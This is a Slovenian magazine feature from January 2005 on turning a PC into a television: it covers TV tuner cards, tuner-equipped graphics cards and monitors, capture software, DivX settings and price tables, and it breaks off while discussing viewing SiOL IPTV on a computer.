CRKNE
TELEVIZOR
Piše : Zdenko Frangež
zdenko.frangež@mojmikro.si

(SAJ IMAMO

PC)

Računalnik je multimedijska naprava. Pa je primeren tudi za gledanje TV-sporeda?
Prav gotovo! No, saj to je že dolgo znano, porečete. Drži in tudi na naših straneh smo
tovrstne naprave in postopke že dodobra opisali. Zanimanja pa je vse več in čedalje
več vprašanj se poraja o tem. Naprave so vse dostopnejše in vse bolj razširjene. Prav
je, da se tej temi spet posvetimo. Če ne drugega, bo marsikateri uporabnik dobil lepo
zbrane informacije, kako in kaj.

Č

e imamo računalnik, imamo tudi zaslon.
Računalnik zna predvajati filme in glasbo, to že vemo, torej ni pravega razloga,
da ne bi delovalo. Le kakšno malenkost
potrebujemo, da bo računalnik vedel, kaj početi s signalom, ki ga pripeljemo, in da ga imamo
sploh kam pritakniti. Nekaj strojne in nekaj programske opreme, torej. Kako to storiti, kaj potrebujemo, kakšne so možnosti in kaj si s tem še
lahko privoščimo, pa bomo obravnavali na naslednjih straneh. Pa poglejmo najprej, kaj je od
tovrstnih naprav tudi pri nas dosegljivo.

KAKO IN S ČIM GLEDATI TV NA PC-JU

Računalnik, če želimo z njegovo pomočjo
spremljati tudi televizijski spored, potrebuje
sprejemnik. Ta ni v takšni obliki, kot je v našem televizorju, veliko drugačen pa tudi ne. Na
voljo so takšni za vdelavo v naš računalnik, natančneje v PCI-vodilo, in takšni, ki bodo v različnih oblikah ležali na vaši pisalni mizi in vam
omogočali prav enako. Torej, ogled televizijskega
sporeda na zaslonu domačega računalnika. Slednji so zadnje čase nekoliko bolj razširjeni in tudi
primernejši.

TV-KARTICE

Navadno uporabljajo vodilo USB 2.0. Priključitev je preprosta, brez posegov v notranjost
računalnika. Preprosto jih lahko uporabimo z
več različnimi računalniki ali celo prenosniki.
Pač kakor se nam zahoče. No, za prenosnike so
na voljo tudi napravice, ki se jih vtakne v režo
PCMCIA.
In zakaj bi to sploh počeli? Zamislimo si položaj, ko želi žena gledati špansko nadaljevanko,
ravno ko je da drugem kanalu nogomet. Ali se
skregati z ženo ali pa kupiti še en televizor? Prve
rešitve iz očitnih razlogov ne priporočam, druga
možnost pa je lahko dokaj draga, televizor mo-

48

MOJ MIKRO 1 JANUAR 2005

ramo tudi nekam postaviti in ne nazadnje smo
ponovno pri ženi, ki mora odobriti nakup. Če je
pri vas drugače, ste srečnež posebne sorte in sem
vam kar nevoščljiv.
Preprostejša rešitev je torej nakup ustrezne
naprave, ki jo vtaknemo v računalnik ali ob
njega. S slušalkami in pred dobrim monitorjem
boste lahko uživali v nogometni tekmi, nikogar
ne boste motili in še žena bo mislila, da počnete
kaj koristnega. Nogomet lahko spremljate tudi
med tem, ko počnete kaj drugega in je na namizju vašega računalnika pač pomanjšana slika.
Tako boste lahko v času, ko se ne bo dogajalo nič
pretresljivega, brskali po spletu, pisali članke in
mimogrede ujeli zanimive akcije.
Kot rečeno, je tudi ceneje predelati računalnik
v televizor kot pa kupiti samostojen televizor. In
če kupite napravo, ki deluje tudi z vašim prenosnim računalnikom, boste imeli tudi zanimiv
prenosni televizor, ki vam ga bodo na morju zavidali vsi sosedje v avtokampu.

GRAFIČNE KARTICE S TV-SPREJEMNIKI

Preprostejša različica, ki pa enako deluje, je
televizijski sprejemnik, vdelan v nekatere modele grafičnih kartic. Ker v računalniku v vsakem
primeru potrebujete grafično kartico, se lahko
pred nakupom odločite investirati malenkost
več in s tem pridobite tu možnost gledanja televizijskih programov na domačem računalniku.
Funkcionalno se tak izbor ne razlikuje od zgoraj opisanega, vsaj v grobem ne. Ker je naprava
vdelana v vaš računalnik, je pač ne bo mogoče
prenašati med več računalniki. Odpade tudi prenosna različica. Je pa izbira precej cenejša. Nekaj težav je z vašimi željami. Če želite najhitrejšo
grafično kartico na trgu, boste težko našli takšno,
ki ima tudi televizijski sprejemnik. Treba bo torej skleniti kompromis ali pa se odločiti za nakup
ločene naprave.

Vse omenjene naprave pa ponujajo veliko več
kot samo spremljanje televizijskega sporeda. Navadno tovrstne naprave premorejo analogni in
včasih tudi digitalni video vhod. Tako je mogoče napravo uporabiti tudi za zajem video signala
iz kamere ali druge naprave. Izhodi omogočajo
povezavo z videorekorderjem in ne nazadnje je
mogoče prav udobno posneti priljubljen film ali
nadaljevanko tudi s pomočjo računalnika. Več o
tem nekoliko pozneje. Novejša možnost pri nekaterih računalniških TV-sprejemnikih je tudi časovni zamik. Zadeva je več kot uporabna, saj omogoča spremljanje sporeda, tudi če niste pravi čas
doma. Tako se recimo film začne, preden se vrnete
domov. Normalno bi zamudili začetek in potem
ogled filma ni več tako prijeten. Pred odhodom
lahko nastavite možnost časovnega zamika, kanal
na katerem bo film, in čas, ko se začne. Računalnik bo sprožil snemanje filma. Ko se vrnete domov, lahko začnete takoj gledati film od začetka,
seveda se bo snemanje nadaljevalo do konca filma.
Torej bo računalnik opravljal dve funkciji hkrati.
Lepota te možnost je, da ni treba filma posneti do
konca in si ga šele pozneje ogledati. Po ogledu pa
lahko posnetek ohranite ali zavržete, pač kakor
se vam zazdi. In seveda. Če povežete računalnik z
domačim televizorjem, si lahko ves film ogledate
na domačem televizijskem zaslonu.
Seveda naprave ne bi bile popolne če ne bi
imele tudi daljinskega upravljalnika. Ta možnost
je vse bolj razširjena in seveda udobna. Nekateri
daljinski upravljalniki omogočajo le krmiljenje v
računalnik vdelanega televizijskega sprejemnika.
Ti se ne razlikujejo prav veliko od tistih, ki jih
kupite skupaj s televizorjem. Na voljo pa so tudi
nekoliko boljši, radijsko povezani z vašim računalnikom, ki omogočajo tudi druge funkcije in
celo upravljanje z namizjem. Tako lahko z daljinskim krmilnikom poženete poljuben program, in
če sta računalnik in televizor povezana, lahko
tako vsaj v preprosti obliki brskate po spletu kar
iz naslanjača.

MONITORJI S TV-SPREJEMNIKI

Elegantna, a nekoliko dražja možnost je nakup
računalniškega monitorja z vdelanim televizijskim sprejemnikom. Na trgu je dokaj dobra ponudba takšnih LCD-monitorjev. Kaveljc je seda
v ceni. Za tak monitor boste odšteli precej več,
kot pa za takšnega brez te možnosti. Dobra stran
izbire je v dejstvu, da gre za ločeno napravo, ki za
delovanje ne porablja računalniških virov. Vsaj
navadno ne. Tak monitor je primeren tudi kot
samostojen TV-sprejemnik. Slabša stran takšne izbire pa je dejstvo, da sporeda ne bo mogoče
snemati z računalnikom. Vsaj na preprost način
ne. Če premorete grafično kartico z možnostjo
zajema analognega video signala, pa bo seveda
tudi to mogoče. V primerih, ko v monitor vdelana video kartica uporablja za delovanje vire
računalnika, pa je enako kot z drugimi zunanjimi
napravami te vrste.
Treba pa je ločiti dve vrsti monitorjev. Eno
so računalniški monitorji z vdelanim TVsprejemnikom, drugo pa LCD-televizijski
sprejemniki na katere je mogoče priključiti
računalnik. Pri slednjih je navadno največja

TEMA MESECA
PC TV
ločljivost prenizka za udobno uporabo namesto
računalniškega monitorja.
Zdaj torej vemo, kakšne naprave so na voljo,
pa si jih nekaj poglejmo še nekoliko podrobneje.
Podrobni podatki zanje pa so na voljo v pregledni tabeli.

NEKAJ IZDELKOV S POLIC TRGOVIN
LifeView FlyDVB-T Duo CardBus

Ta zanimiva kartica PCMCIA združuje v bistvu kar dve napravi, saj podpira tako spremljanje analognih kot tudi digitalnih televizijski
sporedov. Še zanimivejše je, da zaradi uporabljene tehnologije MST omogoča spremljanje
analognega in digitalnega kanala istočasno na
istem zaslonu v obliki slike v sliki (PIP) ali slike zunaj slike (POP). Video oknu je tudi mogoče poljubno spreminjati velikost. Podpira vse
TV-video in avdio standarde, ki jih srečujemo
po svetu. Mimogrede omogoča spremljanje radijskega sporeda. Naprava premore kompozitni
in S-video vhod in s tem omogoča priključitev
različnih naprav, od videorekorderja, kamere, do
igralne konzole in še česa. S tem je poskrbljeno
tudi za preprost prenos video posnetkov iz kamere v računalnik.
Snemanje TV-sporeda je mogoče v formatu
MPEG 1, 2 in 4 neposredno iz sprejemnika, vdelanega v napravo ali zunanjega vira. Programska oprema podpira tudi časovni zamik. Torej
je mogoče »prestaviti« začetek oddaje, če boste
zamujali in si ogledati vsebino kljub sočasnemu
snemanju oddaje. Mogoče je tudi vnaprej pripraviti urnik snemanja ali časovnega zamika.
Mimogrede je mogoče zajeti zaslonsko sliko filma ali oddaje in fotografijo uporabiti, kakor se
vam pač zazdi.
Vsekakor gre za izredno napravo, ki vam omogoča spremljanje prav vsega radijskega in televizijskega sporeda po vsem svetu
kar med potjo na vašem
prenosniku.

LifeView TV Walker Duo

V bistvu gre za napravo, ki deli funkcionalnost
in verjetno tudi drobovje z zgoraj opisano napravo istega proizvajalca. Je pa nekoliko drugačne
oblike in namenjena priključitvi prek priključka USB 2.0. Tako je naprava primerna tako za
uporabo s prenosnimi kot tudi z namiznimi računalniki. Saj priključek PCMCIA je tudi mogoče
vdelati v namizni računalnik, le da je za to potreben dodaten nakup in poseg v notranjost računalnika. S priključkom USB pa je prenosljivost z
enega na drug računalnik sama po sebi umevna.
Tako imamo eno napravo za dom in hkrati tudi
za potovanja. Možnosti, ki so na voljo, ni potrebno posebej opisovati, saj so popolnoma enake
kot pri prej opisani napravi.
Naprava je simpatično oblikovana, kompaktna in primerna prav za vse, čemur je namenjena.
Na koncu pa tudi cena ni pretirana. Čeprav je
ta trenutek ni mogoče najti v naših prodajalnah,
vsaj po vsebini spletnih strani je videti tako, pa
bo verjetno na voljo že prav kmalu. Saj lahko
tudi kupci malo podrezamo prodajalce, da se odločijo za uvoz te tako zanimive naprave.

AverMedia TV Tuner

Gre za dokaj hecno in preprosto napravo, ki ne spada
ravno v vode računalništva. Vsaj glede povezave
z računalniki ne. Deluje
namreč brez računalnika.
Gre za popoln zunanji televizijski sprejemnik, ki
ga je mogoče priključiti na projektor ali LCDmonitor. Ker ni povezave z računalnikom, odpadejo vse dobrote, kot so snemanje, časovni
zamik in še kaj. Je pa zanimiva možnost, če imate
recimo odvečen LCD-monitor in bi ga radi spremenili v televizijski sprejemnik.

TV-kartica LifeView
FlyVideo DV 3000

Lahko pa je TV-kartica tudi namenjena
vdelavi v računalnik,
seveda za vodilo PCI. Razen tega, da je ne boste
videli, ponuja povsem enake možnosti kot zunanje kartice, kot so izbira televizijskih kanalov, zajem video posnetkov iz zunanjega vira, snemanje
televizijskega sporeda na domačem računalniku
v formatu AVI, MPEG 1 in MPEG 2, možnost
časovnega zamika za ogled filmov in drugih oddaj ... Povežete jo lahko z zunanjim zvočnim sistemom in ne nazadnje s TV-sprejemnikom. Vse
v enem tudi v tem primeru. Seveda je na voljo
tudi daljinski upravljalnik. Tovrstne TV-kartice
so tudi nekoliko cenejše od zunanjih, vsaj navadno je tako. Če ne drugega, ne potrebujejo ohišja
in nekaterih delov, ki so nujni za zunanje delovanje naprav. Slabost takšne izbire je neprenosljivost. Vsaj pogosto ne boste opravljali montaže
kartice iz enega računalnika v drugega.

Grafična kartica
ATI Radeon AIW

Pregled našega trga je pokazal pomanjkanje zanimanja
za tovrstne grafične kartice. Vsaj
s strani trgovcev. Morda pa so tudi dokaj nizke
cene samostojnih naprav krive za to. Kartica Radeon AIW je novost, ki združuje dokaj zmogljivo
grafično kartico z vdelanim TV- sprejemnikom
in priloženim daljinskim upravljalnikom. S priloženo programsko opremo je snemanje televizijskega sporeda prava šala, podobno pa je tudi
z zajemom videa iz zunanjega vira. Čeprav je
sam zajem televizijskega sporeda na ravni strojne
opreme, pa je za kodiranje odgovorna programska oprema, torej je tudi tukaj zmogljivost snemalnika odvisna tudi od hitrosti računalnika in
trdega diska.
Ponujene možnosti so dovolj za domačo rabo,
odločitev za nakup pa je smiselna če ravno razmišljate o zamenjavi grafične kartice.

Monitor LG LCD + TV 19«
L193ST

In še zadnja možnost
spremljanja televizijskega
sporeda na domačem računalniku: nakup LCD-monitorja z vdelanim
TV-sprejemnikom. Seveda kupite dve napravi

v eni − monitor in LCD televizor. Za gledanje
televizijskega sporeda ne potrebujete računalnika, kar je po svoje posrečena možnost. Ima pa
več pomanjkljivosti. Ker ni neposredne povezave z vašim računalnikom, vsaj ne primerne, seveda ni mogoče preprosto snemati televizijskega
sporeda s pomočjo računalnika. Razen če imate
v računalnik vdelano grafično kartico, ki omogoča zajem analognega video signala. Prav tako
ne boste mogli gledati sporeda v pomanjšanem
oknu med delom ali brskanjem po spletu. Zadnja
zamera je razmeroma visoka cena, ki jo morate
odšteti za dodatno možnost v primerjavi s klasičnim LCD monitorjem. Če ste z naštetim kljub
vsemu zadovoljni in ne potrebujete nič več, pa je
to prav gotovo zanimiva naprava.

RAČUNALNIK, BODI
VIDEO SNEMALNIK!

Domači računalniki že nekaj časa zadostujejo za snemanje
TV-sporeda prek TVkartice. Močnejši so
že dovolj zmogljivi
za sprotno kodiranje
s katerim od DivX,
XVid ali drugih stiskalnih kodekov in sprotnim
odpravljanjem prepletanja (deinterlace). Tudi če
vam računalnik ne zmore vseh opravil hkrati v
realnem času, pa je to mogoče storiti postopoma.
Filme in drug spored je mogoče zajeti v nestisnjenem formatu AVI, pozneje odpraviti prepletanje
in stisniti s katerim od primernih kodekov. Zadeva vsekakor zasede več prostora, na srečo pa
so trdi diski veliki in poceni, zadoščajo pa za vsaj
dve uri zajetega sporeda. In ko zadevo kodiramo,
jo je preprosto zapeči na CD ali DVD, kar sprosti prostor na disku za nove posnetke.
Zajem TV-sporeda je zajem analognega video
signala. Torej potrebujemo posebno napravo, ki
tak signal sprejme in spremeni v primerno obliko
za računalnik. TV-kartice so najnaravnejši izbor.
Pa tudi najpreprostejši, vse drugo je vsaj malenkost bolj zapleteno, čeprav je na voljo tudi nekaj
prav zanimivih rešitev, ki smo jih v preteklosti
tudi dovolj nadrobno predstavili.
Glavni delež obremenitev bo pri snemanju
videa iz TV-kartice nosil sam procesor. Če ni
dovolj zmogljiv, se bodo pri zajemu izgubljale
sličice, če bo teh veliko, pa bo tako zajet film
praktično neuporaben. Dovolj bo že računalnik
s procesorji, močnejšimi od 2 GHz Intelovega
Pentiuma. Seveda so primerni tudi računalniki
z AMD-jevimi procesorji, ki so vsaj toliko zmogljivi kot omenjeni Intelov procesor. Če nimate
ravno tako hitrega računalnika, boste zajem videa, kot rečeno, pravili v več korakih, ki vsak
zase ne zahteva toliko sistemskih sredstev. Nekaj
je mogoče pridobiti na račun kakovosti slike. Za
format VCD ni potrebno veliko, zadeva pa bo na
TV-zaslonu popolnoma gledljiva.
Zabava se začne pri izbiri pravšnje TV-kartice. Vse namreč niso popolnoma primerne za
kakovosten zajem videa. No, v zadnjem času so
primerne že skoraj vse, le tistim resnično najcenejšim se ognite, pa bo vse v najlepšem redu.
MOJ MIKRO 1 JANUAR 2005

49

TEMA MESECA
PC TV
Tovrstna kartica ponuja kar precej udobja.
Prva pridobitev je spremljanje TV-sporeda in
branje teleteksta na domačem računalniku. Druga pa možnost snemanja TV-sporeda in shranjevanja na trdi disk. Kako bo to potekalo in ali vam
bo uspelo iztisniti najvišjo kakovost videa, pa je v
veliki meri odvisno tudi od programske opreme,
ki podpira tovrstne kartice. Pri karticam priloženi programski opremi boste le redko našli takšno, ki bo omogočala tudi uporabo najrazličnejših
kodekov za stiskanje videa, pa naj gre za format
MPEG-2 ali MPEG-4. Kakor koli že − vse, kar
boste storili za zajem videa, je pritisk na ustrezno
ikono. Nekateri modeli imajo vdelan tudi video
vhod, tako jih je mogoče uporabiti tudi na zgoraj
opisani način.
Z zajemom zvoka ni posebnih težav. Le vir
zvokov izberete ali pa bo to opravil sam program,
ki ga boste izbrali.
Največja prednost je v možnost vnaprejšnjega
programiranja tako kanala kot časa, kdaj boste
začeli in prenehali snemati. Torej ni potrebe, da
ste takrat doma. Preprosto kot le kaj, stroški pa
tudi niso pretirani.
Zraven slike pa bi s
TV-zaslona radi zajeli
tudi zvok. Za to je potrebna zvočna kartica z
avdio vhodom. Večina
novejših matičnih plošč TV-kartica s pilotom
z vdelano zvočno kartico to seveda ponuja. Na
našo nesrečo pa vsi programi niso pripravljeni
delati s tovrstnimi karticami in zahtevajo nekoliko zmogljivejšo. Ker potrebujemo avdio vhod
zadostne kakovosti, tiste najcenejše ne pridejo v
poštev. Na matično ploščo vdelane sicer zadosti-

jo vsem kriterijem, le nekaj programske opreme
jih bo trmasto odklanjalo. Za zapis TV-sporeda
ne potrebujemo prostorskega zvoka, saj ga navadne TV-postaje ne prenašajo. Torej je dovolj
skromnejša zvočna kartica z avdio vhodom. Če
imate na matično ploščo vdelano zvočno kartico, pa se raje nakupu posebne zvočne kartice
izognite z izbiro programske opreme, ki bo delovala tudi tako.

PROGRAMSKA OPREMA

Prav z izbiro primerne programske opreme je
največ težav. Sicer v glavnem zadošča že programska oprema, ki jo proizvajalci prilagajo napravam in jo tako dobite že ob nakupu. Če vam
kljub vsemu ne zadošča, pa bo treba pobrskati po
bogati ponudbi tovrstnih programov različnih
razvijalcev programske opreme. Ponudba je dokaj raznolika, saj so primerni vsi programi, ki
zmorejo zajeti video signal. Tako je razpon od
posebnih programov za zajem videa iz TV-kartic, pa univerzalnih programov, ki znajo zajeti
video tudi iz drugih virov, pa vse do programov
za digitalno obdelavo videa, ki vsi do zadnjega
podpirajo tudi zajem iz različnih virov. Slednji so
dražji, zato pa omogočajo montažo, vstavljanje
prehodov in še kaj, kar pa je primernejše za filme, posnete z video kamero. Saj filmov ne boste
še posebej montirali. Edino, kar se lahko zgodi,
je rezanje in spajanje delov, zaradi tega, ker bi
se radi znebili reklam, ki jih predvajajo med filmom. Za ta namen pa je na voljo veliko poceni
ali brezplačnih programov, ki znajo samo to, zato
pa so preprostejši za uporabo. Pri izbiri programske opreme pa je treba posebej preveriti, ali omogoča vse tisto, kar ponuja TV-kartica. Če torej

želite gledati televizijo, udobno menjati kanale,
brati teletekst in še snemati program, se vsekakor
ne boste zadovoljili s programom, ki ne ponuja
prav vseh funkcij. Nesmiselno bi namreč bilo za
ta opravila uporabljati več ločenih programov.
Pa poglejmo nekaj predstavnikov.

Honestech HT TV Plus 4.0 Gold

Vmesnik je preprost in izdelan tako, da spominja na TV-zaslon in videorekorder, in kot tak
tudi deluje. Omogoča zajem videa iz različnih virov, v formatih MPEG-1, MPEG-2, VCD-PAL,
VCD-NTSC in AVI, za nameček pa vam omogoča tudi časovni zamik poljubnega dela ali celotne oddaje. Tako lahko prestavite začetek filma
in si ga ogledate od začetka, ko vaš računalnik
film še zapisuje, ali si hitro ogledate posebej priljubljeni del in nadaljujete gledanje filma tam,
kjer ste spremljanje prekinili. Tako boste lahko
tudi med filmom brez reklam pripravili sendvič
ali odšli v trgovino po prigrizke, ne da bi zamudili kak del filma. Snemanje filmov pa je mogoče
tudi v ozadju, tako lahko med tem opravilom z
računalnikom počnete druge reči. Seveda pa bo
za to potreben nekoliko zmogljivejši računalnik
ali snemanje v zmanjšani kakovosti posnetka.
Program je v bistvu zbirka šestih programov
za različna opravila. Kljub prvemu vtisu o poosebljeni preproščini že kaj kmalu ugotovimo, da
gre za izredno zmogljivo orodje, ki v veliki meri
upravičuje dokaj zasoljeno ceno.
Tako so na voljo poseben sklop za spremljanje
televizijskega programa, program za digitalno
video montažo, video kodirnik, program za zapis video vsebin na CD ali DVD in urejevalnik
fotografij in video posnetkov za zapis na različne

VIDEO KARTICE
Proizvajalec
in ime modela
Informacije
Spletni naslov
Cena
Tehnični podatki
Vodilo

AverTV
Go007+FM

AverTV
Studio+FM 303

AverTV
PVR

AverTV
DVBs

AverTV
CardBus

AverTV
USB 2.0

AverTV
HotCha

AverTV
Box5 PiP

AverTV
Box9 PiP

EC, d.o.o.

EC, d.o.o.

EC, d.o.o.

EC, d.o.o.

EC, d.o.o.

EC, d.o.o.

EC, d.o.o.

EC, d.o.o.

EC, d.o.o.

www.averm.co.uk

www.averm.co.uk

www.averm.co.uk

www.averm.co.uk

www.averm.co.uk

www.averm.co.uk

www.averm.co.uk

www.averm.co.uk

www.averm.co.uk

9.360 SIT

15.300 SIT

20.100 SIT

21.450 SIT

21.192 SIT

21.192 SIT

14.550 SIT

20.880 SIT

30.600 SIT

PCI

PCI

PCI

PCI

USB 2.0

USB 2.0

ne

ne

ne

ne

MPEG 1 in 2

samostojen TVsprejemnik
ne

samostojen TVsprejemnik
ne

samostojen TVsprejemnik
ne

Daljinski upravljalnik
Teletekst
Radio
Možnosti

da
da
da
ogled, snemanje,
časovni zamik

da
da
da
ogled, snemanje,
časovni zamik

da
da
da
ogled, snemanje,
časovni zamik

da
da
da
ogled, snemanje,
časovni zamik

ne
da
da
ogled, snemanje,
časovni zamik

Avdio/video priključki

antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni vhod,
vhod, stereo vhod vhod, stereo vhod vhod, mono izhod
S-video vhod
in izhod
in izhod

antenski vhod,
kompozitni vhod,
S-video vhod,
stereo vhod

Strojno kodiranje

Število kanalov

ni podatka

50

MOJ MIKRO 1 JANUAR 2005

ni podatka

181

ni podatka

ni podatka

Motion JPEG in
RGB 24
ne
da
da
da
ne
ne
da
ne
ne
ogled, snemanje, ogled na monitor- ogled na monitorčasovni zamik
jih, projektorjih,
jih, projektorjih,
plazemskih
plazemskih
zaslonih
zaslonih, PIP
antenski vhod,
antenski vhod,
antenski vhod,
kompozitni vhod, kompozitni vhod in S-video vhod,
S-video vhod, izhod, VGA, stereo kompozitni vhod,
mono izhod
vhod in izhod
VGA vhod in
izhod, stereo vhod
(L/D činč), stereo
PC vhod, izhod
za slušalke in
zvočnike
181
181
181

da
ne
ne
ogled na monitorjih, projektorjih,
plazemskih
zaslonih, PIP
antenski vhod,
S-video vhod,
kompozitni vhod,
VGA vhod in
izhod, stereo vhod
(L/D činč), stereo
PC vhod, izhod
za slušalke in
zvočnike
ni podatka

TEMA MESECA
PC TV
optične medije. Vse dele programa je mogoče
pognati iz skupnega vmesnika, ki pregledno in
nazorno ponuja vsa potrebna opravila in možnosti. Tako je mogoče s tem programom opraviti
prav vse, od ogleda določenega kanala, snemanja
video posnetkov, pa vse do arhiviranja in organiziranja vseh posnetkov, ki se vam bodo z leti
nabrali.
Kljub množici možnosti pa je program pregleden in preprost.
Tako uporabniku ni
potrebno posebno
predznanje ali posebno skrbno branje
navodil. Dovolj je
dobra volja in nekaj
radovednosti, da prebrskate vse možnosti in ugotovite, kako bodo koristile tudi vam.

Chris TV Pro v4.01

Eden boljših programov, namenjenih
snemanju filmov iz
TV-kartic. Je izredno
zmogljivo orodje, ki
ponuja vse mogoče nastavitve, uporabo prav vseh
mogočih kodekov, nameščenih v vaš računalnik,
nastavljanje urnikov snemanja in kanalov, ki jih
želimo posneti. Seveda se lahko poigramo z nastavitvami za zajem zvoka. Od tega je odvisno,
kakšne kakovosti bo zvok v zajetem filmu. Če
vam ni preveč do tega, da bi se posebej igrali z
nastavitvami, program ponuja nekaj »predlog«.
Tako boste s preprosto izbiro predloge izbrali
vse nastavitve za VCD, SVCD ali DVD. Kljub
vsemu pa se splača nekaj eksperimentiranja, saj

AverTV
DVB-T STB-3

boste tako prilagodili delovanje programa svojim
potrebam. Program omogoča sprotno deljenje
datotek. Zadeva je še kako koristna, saj lahko že
v naprej določimo velikost, ki jo je mogoče zapisati na CD. Ker se včasih pri zajemu videa na
spodjem ali zgornjem robu pojavi nekaj pokvarjenih linij, je na voljo sprotno obrezovanje teh
vrstic. Tako bo posnetek resnično brez napak. In
da je zadeva še lepša, je mogoče vnaprej določiti,
kateri filtri bodo aktivni med snemanjem filma.
Tako lahko sproti odpravite prepletanje in še
kakšno napako v sliki. Vse nastavitve je mogoče
shraniti v obliki profilov. Potem samo še izberete
pripravljen profil in začnete delo.
Takšnih in podobnih programov je še veliko.
Če se boste odločili za snemanje TV-programov
na kateri koli način, pa preizkusite več preizkusnih različic programov, ki so na voljo. Le tako
boste našli takšnega, ki vam bo všeč in bo zadostil vsem vašim zahtevam. Nekaj jih boste našli
tudi na našem MikroCD-ju.

tek, ki ga boste predvajali iz računalnika na TV-zaslon, potem je najprimernejši DivX ali Xvid, oziroma kateri od kodekov, ki močno stisne datoteko.
Drug kodek boste potrebovali, če želite kot končni
izdelek VCD-, SVCD- ali DVD-disk. Na srečo so
kodeki tudi za te namene prav lahko dostopni.

NASTAVITVE

Ni nujno, da so nastavitve, ki jih bom opisal,
najboljše, najhitrejše prav gotovo niso. So pa
bile, vsaj zame, nekak kompromis med kakovostjo zajetega filma in zmožnostjo opravljanja naloge v realnem času.
Nekako najpriročnejši in uporabnikom najprijaznejši je DivX Pro, sam sem uporabil različico
5.05. Najbolje je najprej izbrati na lističu »Profiles«

KODEKI

Ostalo je le še zadnje dejanje, pomembno za
zajem videa. Je pa med pomembnejšimi. Od izbranega kodeka in njegovih nastavitev sta odvisni tako kakovost posnetka kot tudi velikost
datotek. Kaj in kako s kodeki, je bilo opisano že
v posebnih člankih na to temo v okviru kodiranja DivX-filmov. Na kratko pa bo treba nekaj
zadev ponoviti. In da ne bom opisoval preveč na
široko, bom podal le nekakšen recept, kako do
kakovostnega video zapisa, ki ne bo preveč zasedel vašega trdega diska.
Izbira kodeka je odvisna predvsem od tega, kaj
želite z zajetim videom početi. Če gre le za posne-

EC, d.o.o.

LifeView
FlyTV Platinum 35
FM PCI
Comtron, d.o.o.

LifeView
FlyTV Prime 34
FM PCI
Comtron, d.o.o.

TV Box
CardBus
TV Box
Lifeview TV Walker Lifeview DBV-T Duo LifeView PRO TV
USB 2.0
Comtron, d.o.o.
Comtron, d.o.o.
Comtron, d.o.o.

www.averm.co.uk

www.lifeview.com

www.lifeview.com

www.lifeview.com

www.lifeview.com

36.300 SIT

7.584 SIT

9.490 SIT

19.855 SIT

samostojen DVB-T
TV-sprejemnik
ne

PCI

PCI

ne

ne

Nastavljanje BitRatea

GENIUS
TERRATEC
VideoWonder PRO CINERGY 250 USB
III FM
Avtera, d.o.o.
Avtera, d.o.o.

TerraTec
Cinergy 400 TV
stereo
Avtera, d.o.o.

TerraTec
Cinergy 600 TV &
Radio
Avtera, d.o.o.

www.lifeview.com

www.geniusnet.com.tw

www.terratec.com

www.terratec.com

www.terratec.com

19.190 SIT

19.990 SIT

10.440 SIT

25.080 SIT

16.080 SIT

21.600 SIT

USB 2.0

PCMCIA

PCI

USB 2.0

PCI

PCI

ne

ne

samostojen TVsprejemnik
ne

ne

ne

ne

ne

da
da
da
da
ne
da
ni podatka
da
da
ne
da
da
da
ni podatka
ne
da
da
da
ne
da
da
da
ne
ne
da
ne
ne
ogled na monitor- ogled, snemanje, ogled, snemanje, ogled, snemanje, ogled, snemanje, ogled na monitor- ogled, snemanje ogled, snemanje in ogled, snemanje,
jih, projektorjih,
časovni zamik
časovni zamik
časovni zamik
časovni zamik,
jih, projektorjih,
časovni zamik
časovni zamik
plazemskih
DBV-T
plazemskih
zaslonih, PIP
zaslonih, PIP
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
antenski vhod,
VGA prehod, steS-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
S-video vhod,
reo izhod, stereo kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni (RCA) kompozitni vhod, kompozitni vhod,
PC vhod in izhod vhod, stereo izhod vhod, stereo izhod vhod, stereo vhod vhod, stereo vhod vhod, stereo vhod vhod, stereo vhod
avdio izhod
avdio izhod
in izhod, VGA vhod
in izhod
in izhod

ni podatka

125

125

125

125

ni podatka

125

ni podatka

ni podatka

MOJ MIKRO 1 JANUAR 2005

da
da
da (RDS)
ogled, snemanje,
časovni zamik

antenski vhod,
S-video vhod,
kompozitni vhod,
avdio izhod

ni podatka

51

TEMA MESECA
PC TV

Nastavitve kodeka

Odstranjevanje prepletanja

Home Theater, nato na lističu »Bitrate Control«
nastaviti »Encoding Bitrate = 2000-2500«. To je
že kar veliko. Na lističu »General Parameters« je
treba izbrati !Performance/ Quality = Fastest«, izbrati »Deinterlace all frames«. Druge nastavitve je
najboljše postaviti na minimum (čisto levo) razen
Keyframe, ki je postavljen čisto v redu.
Ker pa imate morda vi drugačne zahteve in
šibkejšo strojno opremo, pa se brez skrbi poigrajte z nastavitvami. Prav gotovo boste našli ustrezen kompromis.
Ponujene rešitve pa še zdaleč niso vse. Le dober
zgled so, kako se zadeve lotiti. Ob branju vam morda

gredo lasje pokonci in razmišljate, komu se da s tem
mučiti. V resnici pa je, ko enkrat poskusite, zadeva
sila preprosta, po nekaj zajetih filmih pa boste že
pravcati veteran in boste druge prepričevali o prednostih ene ali druge rešitve. In če ste lastnik primerne programske opreme, ni razloga, da zadev ne preizkusite takoj, ko boste imeli pol ure prostega časa.

IPTV (SIOL TV) NA PC-JU

ADSL-televizija je zdaj že dobro razširjena
in vse več uporabnikov zanima, ali je mogoče ta spored spremljati tudi na domačem
računalniku. Če ne drugega, pa zato, ker je

potem prav preprosto snemati oddaje.
Sama narava priključitve naprav, ki omogočajo spremljanje ADSL-televizije na domačem
televizijskem zaslonu, omogoča tudi spremljanje
istih kanalov na domačem računalniku. Kajti
navsezadnje sta obe napravi povezani v omrežje.
Čeprav pri Siolu vedo, da je to mogoče, pa takšne priključitve ne podpirajo in jo celo odsvetujejo. Njihova izjava na moje vprašanje o tej temi
je temu primerna:
»Televizija prek ADSL oziroma SiOL TV je storitev, pri kateri naročniki za gledanje programov uporabljajo televizijski sprejemnik in ne osebni računalnik.
SiOL TV namreč deluje na istem fizičnem priključku
kot internet, vendar v svojem logičnem zasebnem
omrežju. Uporabniki naj v to omrežje ne bi priklapljali
računalnikov, saj lahko povzročijo škodo.«
Kako lahko na ta način povzročite škodo, je
vsaj meni velika skrivnost. Ampak glede na to,
